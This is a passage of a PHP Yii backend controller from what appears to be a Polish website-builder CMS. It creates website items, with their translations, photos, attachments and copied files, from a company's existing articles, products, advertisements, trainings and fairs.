            'modelWebsite' => $modelWebsite
        ]);
    }
    
    public function actionCreateFromSource($id)
    {
        $modelWebsite = $this->findModelWebsite($id);
        
        if(!Yii::$app->user->can('updateWebsites', ['model' => $modelWebsite])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }        
        
        if(!empty(Yii::$app->request->get('id_page'))) {
            $modelParent = Yii::$app->request->get('id_page') ? $modelWebsite->getPages()->where(['id_page' => Yii::$app->request->get('id_page')])->one() : null;
            $parentPKColumnName = 'id_page';
        } elseif(!empty(Yii::$app->request->get('id_widget'))) {
            $modelParent = Yii::$app->request->get('id_widget') ? $modelWebsite->getWidgets()->where(['id_widget' => Yii::$app->request->get('id_widget')])->one() : null;
            $parentPKColumnName = 'id_widget';
        }
        
        $idSource = Yii::$app->request->get('id_source');
        $itemType = Yii::$app->request->get('type');
        if(empty($itemType) || empty(constant('\common\models\types\WebsiteItemType::'.$itemType)) || empty($idSource)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
        }
        
        $idMainLanguage = $modelWebsite->getMainLanguage();
        
        $itemTypeValue = constant('\common\models\types\WebsiteItemType::'.$itemType);
        $scenarioPrefix = WebsitesItems::getScenarioPrefixForType($itemTypeValue);
        
        $model = new \backend\models\WebsitesItems([
            'scenario' => $scenarioPrefix.'Create', 
            'idPage' => $modelParent instanceof \common\models\WebsitesPages ? $modelParent->id_page : null,
            'id_website' => $modelWebsite->id_website, 
            'item_type' => $itemTypeValue
        ]);
        
        $modelTranslation = new WebsitesItemsTranslations(['scenario' => $scenarioPrefix.'Create', 'id_language' => $idMainLanguage]);
        
        $modelRelationWithParent = null;
        if(!empty($modelParent)) {
            $relationClasName = get_class($modelParent).'HasWebsitesItems';
            $modelRelationWithParent = new $relationClasName(['scenario' => 'create', $parentPKColumnName => $modelParent->$parentPKColumnName, 'item_order' => Yii::$app->request->get('position', 1)]); 
        }
        
        list($sourceData, $sourcePhotos, $sourceAttachments, $filesToCopy) = $this->getDataFromSource($idSource, $itemType, $modelWebsite);
        
        if(empty($sourceData)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $model->image_filename = $sourceData['image_filename'];
        $model->datetime_start = $sourceData['datetime_start'];
        $model->datetime_end = $sourceData['datetime_end'];
        $model->price = $sourceData['price'];
        $model->source_url = $sourceData['source_url'];
        $model->id_country = $sourceData['id_country'];
        $model->id_region = $sourceData['id_region'];
        $model->locality = $sourceData['locality'];
        $model->postcode = $sourceData['postcode'];
        $model->street = $sourceData['street'];
        $model->building_number = $sourceData['building_number'];
        $model->apartment_number = $sourceData['apartment_number'];
        $model->lat = $sourceData['lat'];
        $model->lng = $sourceData['lng'];
        $model->status = $sourceData['status'];
        
        if(!$model->save()) {            
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
        }
        
        $modelTranslation->id_item = $model->id_item;
        $modelTranslation->name = $sourceData['name']; 
        $modelTranslation->lead = $sourceData['lead'];
        $modelTranslation->content = $sourceData['content'];
        $modelTranslation->slug = $sourceData['slug'];
        $modelTranslation->keywords = $sourceData['keywords'];
        $modelTranslation->description = $sourceData['description'];
        $modelTranslation->source_author = $sourceData['source_author'];
        $modelTranslation->price_details = $sourceData['price_details'];
        
        if(!$modelTranslation->save()) {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
        }
        
        if(!empty($modelRelationWithParent) && !$this->saveRelation($model, $modelRelationWithParent, $modelParent)) {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
        }
        
        if(!empty($sourcePhotos)) {
            $counter = 0;
            foreach($sourcePhotos as $sourcePhoto) {
                $modelPhoto = new WebsitesPhotos(['scenario' => 'create']);
                $modelPhoto->id_website = $modelWebsite->id_website;
                $modelPhoto->filename = $sourcePhoto['filename'];
                if(!$modelPhoto->validate(['id_photo', 'id_website', 'filename']) || !$modelPhoto->save(false)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                    return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
                }
                
                $modelPhotoTranslation = new WebsitesPhotosTranslations(['scenario' => 'create']);
                $modelPhotoTranslation->id_photo = $modelPhoto->id_photo;
                $modelPhotoTranslation->id_language = $idMainLanguage;
                $modelPhotoTranslation->title = $sourcePhoto['title'];
                if(!$modelPhotoTranslation->save()) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                    return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
                }
                
                $counter++;
                
                $modelRelationWithPhoto = new WebsitesItemsHasWebsitesPhotos(['scenario' => 'create']);
                $modelRelationWithPhoto->id_item = $model->id_item;
                $modelRelationWithPhoto->id_photo = $modelPhoto->id_photo;
                $modelRelationWithPhoto->photo_order = $counter;
                if(!$modelRelationWithPhoto->save()) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                    return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
                }
            }
        }
        
        if(!empty($sourceAttachments)) {
            $counter = 0;
            foreach($sourceAttachments as $sourceAttachment) {
                $modelAttachment = new WebsitesAttachments(['scenario' => 'create']);
                $modelAttachment->id_website = $modelWebsite->id_website;
                $modelAttachment->filename = $sourceAttachment['filename'];
                if(!$modelAttachment->validate(['id_attachment', 'id_website', 'filename']) || !$modelAttachment->save(false)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                    return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
                }
                
                $modelAttachmentTranslation = new WebsitesAttachmentsTranslations(['scenario' => 'create']);
                $modelAttachmentTranslation->id_attachment = $modelAttachment->id_attachment;
                $modelAttachmentTranslation->id_language = $idMainLanguage;
                $modelAttachmentTranslation->name = $sourceAttachment['name'];
                if(!$modelAttachmentTranslation->save()) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                    return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
                }
                
                $counter++;
                
                $modelRelationWithAttachment = new WebsitesItemsHasWebsitesAttachments(['scenario' => 'create']);
                $modelRelationWithAttachment->id_item = $model->id_item;
                $modelRelationWithAttachment->id_attachment = $modelAttachment->id_attachment;
                $modelRelationWithAttachment->attachment_order = $counter;
                if(!$modelRelationWithAttachment->save()) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                    return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
                }
            }
        }
            
//        var_dump('ok');
//        var_dump($filesToCopy);
//        exit;
        if(!empty($filesToCopy)) {
            $copiedFiles = [];
            foreach($filesToCopy as $source => $target) {
                if(!file_exists($source)) {
                    continue;
                }
                if(copy($source, $target) === FALSE) {
                    if(!empty($copiedFiles)) {
                        foreach($copiedFiles as $copiedFile) {
                            @unlink($copiedFile);
                        }
                    }
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                    return $this->redirect(!empty($modelParent) ? ['index', 'id' => $modelWebsite->id_website, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['index', 'id' => $modelWebsite->id_website]);
                }
                $copiedFiles[] = $target;
            }
        }
        
        $transaction->commit(); 
        Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
        return $this->redirect(!empty($modelParent) ? ['update', 'id' => $model->id_item, $parentPKColumnName => $modelParent->$parentPKColumnName] : ['update', 'id' => $model->id_item]);

    }
    
    protected function getDataFromSource($idSource, $itemType, $modelWebsite)
    {
        $sourceData = []; 
        $sourcePhotos = []; 
        $sourceAttachments = []; 
        $filesToCopy = [];
        
        switch($itemType) {
            case 'NEWS':
            case 'ARTICLE':
                list($sourceData, $sourcePhotos, $sourceAttachments, $filesToCopy) = $this->getDataFromSourceArticle($idSource, $modelWebsite);
                break;
            case 'PRODUCT':
                list($sourceData, $sourcePhotos, $sourceAttachments, $filesToCopy) = $this->getDataFromSourceProduct($idSource, $modelWebsite);
                break;
            case 'ADVERTISEMENT':
                list($sourceData, $sourcePhotos, $sourceAttachments, $filesToCopy) = $this->getDataFromSourceAdvertisement($idSource, $modelWebsite);
                break;
            case 'TRAINING':
                list($sourceData, $sourcePhotos, $sourceAttachments, $filesToCopy) = $this->getDataFromSourceTraining($idSource, $modelWebsite);
                break;
            case 'FAIR':
                list($sourceData, $sourcePhotos, $sourceAttachments, $filesToCopy) = $this->getDataFromSourceFair($idSource, $modelWebsite);
                break;
            case 'PHOTO_GALLERY':
                list($sourceData, $sourcePhotos, $sourceAttachments, $filesToCopy) = $this->getDataFromSourcePhotoGallery($idSource, $modelWebsite);
                break;
        }
                
        return [
            $sourceData, 
            $sourcePhotos, 
            $sourceAttachments, 
            $filesToCopy
        ];
    }
    
    protected function getDataFromSourceArticle($idSource, $modelWebsite)
    {
        $sourceData = []; 
        $sourcePhotos = []; 
        $sourceAttachments = []; 
        $filesToCopy = [];
        
        $model = \common\models\Articles::find()
                ->where([
                    'id_article' => $idSource, 
                    'id_company' => $modelWebsite->id_company
                ])->one();
        
        if(!empty($model)) {
            $sourceData['name'] = $model->title;
            $sourceData['slug'] = \frontend\components\helpers\SlugGenerator::generate($model->title);
            $sourceData['lead'] = $model->lead;
            $sourceData['content'] = $model->content;
            $this->analyzeEmbeddedFiles($modelWebsite->id_website, $sourceData['content'], $filesToCopy);            
            if(!empty($model->image_filename)) {
                $fileInfo = pathinfo($model->getImageUrl());            
                $newImageFilename = \common\models\Articles::createImageFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']); 
                $sourceData['image_filename'] = $newImageFilename;                
                $filesToCopy[$model->getImageUrl()] = Yii::getAlias('@websitesImagesRealPath').'/'.$modelWebsite->id_website.'/'.$newImageFilename;
            } else {
                $sourceData['image_filename'] = null;
            }
            $sourceData['datetime_start'] = $model->publication_datetime;
            $sourceData['datetime_end'] = null;
            $sourceData['price'] = null;
            $sourceData['price_details'] = null;
            $sourceData['source_url'] = $model->source_url;
            if(!empty($model->source_author)) {
                $sourceData['source_author'] = $model->source_author;
            } elseif(!empty($model->source_company)) {
                $sourceData['source_author'] = $model->source_company;
            } else {
                $sourceData['source_author'] = null;
            }
            
            if(!empty($model->tags)) {
                $tags = [];
                foreach($model->tags as $modelTag) {
                    $tags[] = $modelTag->name;
                }
                $sourceData['keywords'] = implode(', ', $tags);
            } else {
                $sourceData['keywords'] = 'UZUPEŁNIJ';
            }            
            $sourceData['description'] = strip_tags($model->lead);
            $sourceData['id_country'] = null;
            $sourceData['id_region'] = null;
            $sourceData['locality'] = null;
            $sourceData['postcode'] = null;
            $sourceData['street'] = null;
            $sourceData['building_number'] = null;
            $sourceData['apartment_number'] = null;
            $sourceData['lat'] = null;
            $sourceData['lng'] = null;
            $sourceData['status'] = $model->status;
            
            $modelsPhotos = $model->getPhotos()->orderBy('photo_order')->all();
            if(!empty($modelsPhotos)) {
                foreach($modelsPhotos as $modelPhoto) {
                    $fileInfo = pathinfo($modelPhoto->getImageUrl());            
                    $newImageFilename = \common\models\ArticlesPhotos::createFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']);                     
                    $sourcePhotos[] = [
                        'filename' => $newImageFilename,
                        'title' => !empty($modelPhoto->title) ? $modelPhoto->title : null
                    ]; 
                    $filesToCopy[$modelPhoto->getImageUrl()] = Yii::getAlias('@websitesImagesRealPath').'/'.$modelWebsite->id_website.'/'.$newImageFilename;
                }
            }
            
            $modelsAttachments = $model->getAttachments()->orderBy('attachment_order')->all();
            if(!empty($modelsAttachments)) {
                foreach($modelsAttachments as $modelAttachment) {
                    if(empty($modelAttachment->filename)) {
                        continue;
                    }
                    $fileInfo = pathinfo($modelAttachment->getFileRealPath());            
                    $newAttachmentFilename = \common\models\ArticlesAttachments::createFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']); 
                    $sourceAttachments[] = [
                        'filename' => $newAttachmentFilename,
                        'name' => $modelAttachment->name
                    ]; 
                    $filesToCopy[$modelAttachment->getFileRealPath()] = Yii::getAlias('@websitesAttachmentsRealPath').'/'.$modelWebsite->id_website.'/'.$newAttachmentFilename;
                }
            }
        }
        
        return [
            $sourceData, 
            $sourcePhotos, 
            $sourceAttachments, 
            $filesToCopy
        ];
    }
    
    protected function getDataFromSourceProduct($idSource, $modelWebsite)
    {
        $sourceData = []; 
        $sourcePhotos = []; 
        $sourceAttachments = []; 
        $filesToCopy = [];
        
        $model = \common\models\Products::find()
                ->where([
                    'id_product' => $idSource, 
                    'id_company' => $modelWebsite->id_company
                ])->one();
        
        if(!empty($model)) {            
            $sourceData['name'] = $model->name;
            $sourceData['slug'] = \frontend\components\helpers\SlugGenerator::generate($model->name);
            $sourceData['lead'] = $model->lead;
            $sourceData['content'] = $model->description;
            $this->analyzeEmbeddedFiles($modelWebsite->id_website, $sourceData['content'], $filesToCopy);            
            if(!empty($model->image_filename)) {
                $fileInfo = pathinfo($model->getImageUrl());            
                $newImageFilename = \common\models\Products::createImageFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']); 
                $sourceData['image_filename'] = $newImageFilename;                
                $filesToCopy[$model->getImageUrl()] = Yii::getAlias('@websitesImagesRealPath').'/'.$modelWebsite->id_website.'/'.$newImageFilename;
            } else {
                $sourceData['image_filename'] = null;
            }
            $sourceData['datetime_start'] = Yii::$app->formatter->asDatetime($model->created_at, 'php:Y-m-d H:i');
            $sourceData['datetime_end'] = null;
            if(!empty($model->price_net)) {
                $sourceData['price'] = $model->price_net;
                $sourceData['price_details'] = $model->currency.', '.$model->price_gross.' brutto'.(!empty($model->price_details) ? ', '.$model->price_details : '');
            } else {
                $sourceData['price'] = null;
                $sourceData['price_details'] = !empty($model->price_details) ? $model->price_details : null;
            }
//            $sourceData['price'] = !empty($model->price_net) ? $model->price_net : null;
//            $sourceData['price_details'] = !empty($model->price_details) ? $model->price_details : null;
            $sourceData['source_url'] = null;            
            $sourceData['source_author'] = null;
            
            if(!empty($model->tags)) {
                $tags = [];
                foreach($model->tags as $modelTag) {
                    $tags[] = $modelTag->name;
                }
                $sourceData['keywords'] = implode(', ', $tags);
            } else {
                $sourceData['keywords'] = 'UZUPEŁNIJ';
            }            
            $sourceData['description'] = strip_tags($model->lead);
            $sourceData['id_country'] = null;
            $sourceData['id_region'] = null;
            $sourceData['locality'] = null;
            $sourceData['postcode'] = null;
            $sourceData['street'] = null;
            $sourceData['building_number'] = null;
            $sourceData['apartment_number'] = null;
            $sourceData['lat'] = null;
            $sourceData['lng'] = null;
            $sourceData['status'] = $model->status;
            
            $modelsPhotos = $model->getPhotos()->orderBy('photo_order')->all();
            if(!empty($modelsPhotos)) {
                foreach($modelsPhotos as $modelPhoto) {
                    $fileInfo = pathinfo($modelPhoto->getImageUrl());            
                    $newImageFilename = \common\models\ProductsPhotos::createFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']);                     
                    $sourcePhotos[] = [
                        'filename' => $newImageFilename,
                        'title' => !empty($modelPhoto->title) ? $modelPhoto->title : null
                    ]; 
                    $filesToCopy[$modelPhoto->getImageUrl()] = Yii::getAlias('@websitesImagesRealPath').'/'.$modelWebsite->id_website.'/'.$newImageFilename;
                }
            }
            
            $modelsAttachments = $model->getAttachments()->orderBy('attachment_order')->all();
            if(!empty($modelsAttachments)) {
                foreach($modelsAttachments as $modelAttachment) {
                    if(empty($modelAttachment->filename)) {
                        continue;
                    }
                    $fileInfo = pathinfo($modelAttachment->getFileRealPath());            
                    $newAttachmentFilename = \common\models\ProductsAttachments::createFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']); 
                    $sourceAttachments[] = [
                        'filename' => $newAttachmentFilename,
                        'name' => $modelAttachment->name
                    ]; 
                    $filesToCopy[$modelAttachment->getFileRealPath()] = Yii::getAlias('@websitesAttachmentsRealPath').'/'.$modelWebsite->id_website.'/'.$newAttachmentFilename;
                }
            }
        }
        
        return [
            $sourceData, 
            $sourcePhotos, 
            $sourceAttachments, 
            $filesToCopy
        ];
    }
    
    protected function getDataFromSourceAdvertisement($idSource, $modelWebsite)
    {
        $sourceData = []; 
        $sourcePhotos = []; 
        $sourceAttachments = []; 
        $filesToCopy = [];
        
        $model = \common\models\Advertisements::find()
                ->where([
                    'id_advertisement' => $idSource, 
                    'id_company' => $modelWebsite->id_company
                ])->one();
        
        if(!empty($model)) {            
            $sourceData['name'] = $model->title;
            $sourceData['slug'] = \frontend\components\helpers\SlugGenerator::generate($model->title);
            $sourceData['lead'] = \yii\helpers\StringHelper::truncate(strip_tags($model->content), 300);
            $sourceData['content'] = $model->content;         
            if(!empty($model->image_filename)) {
                $fileInfo = pathinfo($model->getImageUrl());            
                $newImageFilename = \common\models\Advertisements::createImageFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']); 
                $sourceData['image_filename'] = $newImageFilename;                
                $filesToCopy[$model->getImageUrl()] = Yii::getAlias('@websitesImagesRealPath').'/'.$modelWebsite->id_website.'/'.$newImageFilename;
            } else {
                $sourceData['image_filename'] = null;
            }
            $sourceData['datetime_start'] = Yii::$app->formatter->asDatetime($model->publication_datetime, 'php:Y-m-d H:i');
            $sourceData['datetime_end'] = Yii::$app->formatter->asDatetime($model->expiry_date, 'php:Y-m-d H:i');
            $sourceData['price'] = !empty($model->price) ? $model->price : null;
            $sourceData['price_details'] = null;
            $sourceData['source_url'] = null;            
            $sourceData['source_author'] = null;
                   
            $sourceData['keywords'] = 'UZUPEŁNIJ';
            $sourceData['description'] = $sourceData['lead'];
            $sourceData['id_country'] = $model->id_country;
            $sourceData['id_region'] = !empty($model->id_region) ? $model->id_region : null;
            $sourceData['locality'] = $model->locality;
            $sourceData['postcode'] = !empty($model->postcode) ? $model->postcode : null;
            $sourceData['street'] = !empty($model->street) ? $model->street : null;
            $sourceData['building_number'] = !empty($model->building_number) ? $model->building_number : null;
            $sourceData['apartment_number'] = !empty($model->apartment_number) ? $model->apartment_number : null;
            $sourceData['lat'] = !empty($model->lat) ? $model->lat : null;
            $sourceData['lng'] = !empty($model->lng) ? $model->lng : null;
            switch($model->status) {
                case \common\models\types\AdvertisementStatus::ACTIVE:
                    $sourceData['status'] = \common\models\types\Status::ACTIVE;
                    break;
                case \common\models\types\AdvertisementStatus::INACTIVE:
                case \common\models\types\AdvertisementStatus::CREATING:
                case \common\models\types\AdvertisementStatus::TO_ACCEPT:
                    $sourceData['status'] = \common\models\types\Status::INACTIVE;
                    break;
            }
            
            
            $modelsPhotos = $model->getPhotos()->orderBy('photo_order')->all();
            if(!empty($modelsPhotos)) {
                foreach($modelsPhotos as $modelPhoto) {
                    $fileInfo = pathinfo($modelPhoto->getImageUrl());            
                    $newImageFilename = \common\models\AdvertisementsPhotos::createFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']);                     
                    $sourcePhotos[] = [
                        'filename' => $newImageFilename,
                        'title' => !empty($modelPhoto->title) ? $modelPhoto->title : null
                    ]; 
                    $filesToCopy[$modelPhoto->getImageUrl()] = Yii::getAlias('@websitesImagesRealPath').'/'.$modelWebsite->id_website.'/'.$newImageFilename;
                }
            }
        }
        
        return [
            $sourceData, 
            $sourcePhotos, 
            $sourceAttachments, 
            $filesToCopy
        ];
    }
    
    protected function getDataFromSourceTraining($idSource, $modelWebsite)
    {
        $sourceData = []; 
        $sourcePhotos = []; 
        $sourceAttachments = []; 
        $filesToCopy = [];
        
        $model = \common\models\TrainingsDates::find()
                ->join('INNER JOIN', 'trainings', 'trainings.id_training = trainings_dates.id_training')
                ->where([
                    'trainings_dates.id_training' => $idSource, 
                    'trainings.id_company' => $modelWebsite->id_company
                ])->one();
        
        if(!empty($model)) {
            if(!empty($model->training->content_all)) {
                $sourceData['content'] = $model->training->content_all;
            } else {
                $sourceData['content'] = $model->training->content_target.'<br><br>'.$model->training->content_leader.'<br><br>'.$model->training->content_program.'<br><br>'.$model->training->content_details;
            }
            $this->analyzeEmbeddedFiles($modelWebsite->id_website, $sourceData['content'], $filesToCopy); 
            $sourceData['name'] = $model->training->name;
            $sourceData['slug'] = \frontend\components\helpers\SlugGenerator::generate($model->training->name);
            $sourceData['lead'] = \yii\helpers\StringHelper::truncate(strip_tags($sourceData['content']), 300);   
            $sourceData['image_filename'] = null;
            $sourceData['datetime_start'] = Yii::$app->formatter->asDatetime($model->date_start, 'php:Y-m-d H:i');
            $sourceData['datetime_end'] = Yii::$app->formatter->asDatetime($model->date_end, 'php:Y-m-d H:i');
            $sourceData['price'] = $model->training->price;
            $sourceData['price_details'] = !empty($model->training->price_description) ? $model->training->price_description : null;
            $sourceData['source_url'] = null;            
            $sourceData['source_author'] = null;
                   
            $sourceData['keywords'] = 'UZUPEŁNIJ';
            $sourceData['description'] = $sourceData['lead'];
            $sourceData['id_country'] = !empty($model->id_country) ? $model->id_country : null;
            $sourceData['id_region'] = !empty($model->id_region) ? $model->id_region : null;
            $sourceData['locality'] = $model->locality;
            $sourceData['postcode'] = !empty($model->postcode) ? $model->postcode : null;
            $sourceData['street'] = !empty($model->street) ? $model->street : null;
            $sourceData['building_number'] = !empty($model->building_number) ? $model->building_number : null;
            $sourceData['apartment_number'] = !empty($model->apartment_number) ? $model->apartment_number : null;
            $sourceData['lat'] = !empty($model->lat) ? $model->lat : null;
            $sourceData['lng'] = !empty($model->lng) ? $model->lng : null;
            $sourceData['status'] = $model->training->status;            
            
            $modelsAttachments = $model->training->getAttachments()->orderBy('attachment_order')->all();
            if(!empty($modelsAttachments)) {
                foreach($modelsAttachments as $modelAttachment) {
                    if(empty($modelAttachment->filename)) {
                        continue;
                    }
                    $fileInfo = pathinfo($modelAttachment->getFileRealPath());            
                    $newAttachmentFilename = \common\models\TrainingsAttachments::createFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']); 
                    $sourceAttachments[] = [
                        'filename' => $newAttachmentFilename,
                        'name' => $modelAttachment->name
                    ]; 
                    $filesToCopy[$modelAttachment->getFileRealPath()] = Yii::getAlias('@websitesAttachmentsRealPath').'/'.$modelWebsite->id_website.'/'.$newAttachmentFilename;
                }
            }
        }
        
        return [
            $sourceData, 
            $sourcePhotos, 
            $sourceAttachments, 
            $filesToCopy
        ];
    }
    
    protected function getDataFromSourceFair($idSource, $modelWebsite)
    {
        $sourceData = []; 
        $sourcePhotos = []; 
        $sourceAttachments = []; 
        $filesToCopy = [];
        
        $model = \common\models\Fairs::find()
                ->join('INNER JOIN', 'fairs_series', 'fairs_series.id_series = fairs.id_series')
                ->where([
                    'fairs.id_fair' => $idSource, 
                    'fairs_series.id_company' => $modelWebsite->id_company
                ])->one();
        
        if(!empty($model)) {
            $sourceData['name'] = $model->name;
            $sourceData['slug'] = \frontend\components\helpers\SlugGenerator::generate($model->name);
            $sourceData['lead'] = \yii\helpers\StringHelper::truncate(strip_tags($model->content), 300);   
            $sourceData['content'] = $model->content;
            $this->analyzeEmbeddedFiles($modelWebsite->id_website, $sourceData['content'], $filesToCopy);            
            if(!empty($model->image_filename)) {
                $fileInfo = pathinfo($model->getImageUrl());            
                $newImageFilename = \common\models\Articles::createImageFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']); 
                $sourceData['image_filename'] = $newImageFilename;                
                $filesToCopy[$model->getImageUrl()] = Yii::getAlias('@websitesImagesRealPath').'/'.$modelWebsite->id_website.'/'.$newImageFilename;
            } else {
                $sourceData['image_filename'] = null;
            }
            $sourceData['datetime_start'] = Yii::$app->formatter->asDatetime($model->date_start, 'php:Y-m-d H:i');
            $sourceData['datetime_end'] = Yii::$app->formatter->asDatetime($model->date_end, 'php:Y-m-d H:i');
            $sourceData['price'] = !empty($model->price) ? $model->price : null;
            $sourceData['price_details'] = !empty($model->price_details) ? $model->price_details : null;
            $sourceData['source_url'] = !empty($model->website) ? $model->website : null;
            $sourceData['source_author'] = !empty($model->contact_person) ? $model->contact_person : null;
            
            if(!empty($model->tags)) {
                $tags = [];
                foreach($model->tags as $modelTag) {
                    $tags[] = $modelTag->name;
                }
                $sourceData['keywords'] = implode(', ', $tags);
            } else {
                $sourceData['keywords'] = 'UZUPEŁNIJ';
            }            
            $sourceData['description'] = $sourceData['lead'];
            $sourceData['id_country'] = !empty($model->id_country) ? $model->id_country : null;
            $sourceData['id_region'] = !empty($model->id_region) ? $model->id_region : null;
            $sourceData['locality'] = !empty($model->locality) ? $model->locality : null;
            $sourceData['postcode'] = !empty($model->postcode) ? $model->postcode : null;
            $sourceData['street'] = !empty($model->street) ? $model->street : null;
            $sourceData['building_number'] = !empty($model->building_number) ? $model->building_number : null;
            $sourceData['apartment_number'] = !empty($model->apartment_number) ? $model->apartment_number : null;
            $sourceData['lat'] = null;
            $sourceData['lng'] = null;
            $sourceData['status'] = $model->status;
            
            $modelsPhotos = \common\models\FairsPhotogalleriesPhotos::find()
                    ->join('INNER JOIN', 'fairs_photogalleries', 'fairs_photogalleries.id_gallery = fairs_photogalleries_photos.id_gallery AND fairs_photogalleries.id_fair = '.intval($model->id_fair))
                    ->orderBy('fairs_photogalleries.gallery_date DESC, fairs_photogalleries_photos.photo_order ASC')
                    ->all();
            
            if(!empty($modelsPhotos)) {
                foreach($modelsPhotos as $modelPhoto) {
                    $fileInfo = pathinfo($modelPhoto->getImageUrl());            
                    $newImageFilename = \common\models\FairsPhotogalleriesPhotos::createFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']);                     
                    $sourcePhotos[] = [
                        'filename' => $newImageFilename,
                        'title' => !empty($modelPhoto->title) ? $modelPhoto->title : null
                    ]; 
                    $filesToCopy[$modelPhoto->getImageUrl()] = Yii::getAlias('@websitesImagesRealPath').'/'.$modelWebsite->id_website.'/'.$newImageFilename;
                }
            }
            
            $modelsAttachments = $model->getAttachments()->orderBy('attachment_order')->all();
            if(!empty($modelsAttachments)) {
                foreach($modelsAttachments as $modelAttachment) {
                    if(empty($modelAttachment->filename)) {
                        continue;
                    }
                    $fileInfo = pathinfo($modelAttachment->getFileRealPath());            
                    $newAttachmentFilename = \common\models\FairsAttachments::createFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']); 
                    $sourceAttachments[] = [
                        'filename' => $newAttachmentFilename,
                        'name' => $modelAttachment->name
                    ]; 
                    $filesToCopy[$modelAttachment->getFileRealPath()] = Yii::getAlias('@websitesAttachmentsRealPath').'/'.$modelWebsite->id_website.'/'.$newAttachmentFilename;
                }
            }
        }
        
        return [
            $sourceData, 
            $sourcePhotos, 
            $sourceAttachments, 
            $filesToCopy
        ];
    }
    
    protected function getDataFromSourcePhotoGallery($idSource, $modelWebsite)
    {
        $sourceData = []; 
        $sourcePhotos = []; 
        $sourceAttachments = []; 
        $filesToCopy = [];
        
        $model = \common\models\CompaniesPhotogalleries::find()
                ->where([
                    'id_gallery' => $idSource, 
                    'id_company' => $modelWebsite->id_company
                ])->one();
        
        if(!empty($model)) {
            $sourceData['name'] = $model->title;
            $sourceData['slug'] = \frontend\components\helpers\SlugGenerator::generate($model->title);
            if(!empty($model->description)) {
                $sourceData['lead'] = \yii\helpers\StringHelper::truncate(strip_tags($model->description), 300);
                $sourceData['content'] = $model->description;
                $sourceData['description'] = $sourceData['lead'];
                $this->analyzeEmbeddedFiles($modelWebsite->id_website, $sourceData['content'], $filesToCopy);
            } else {
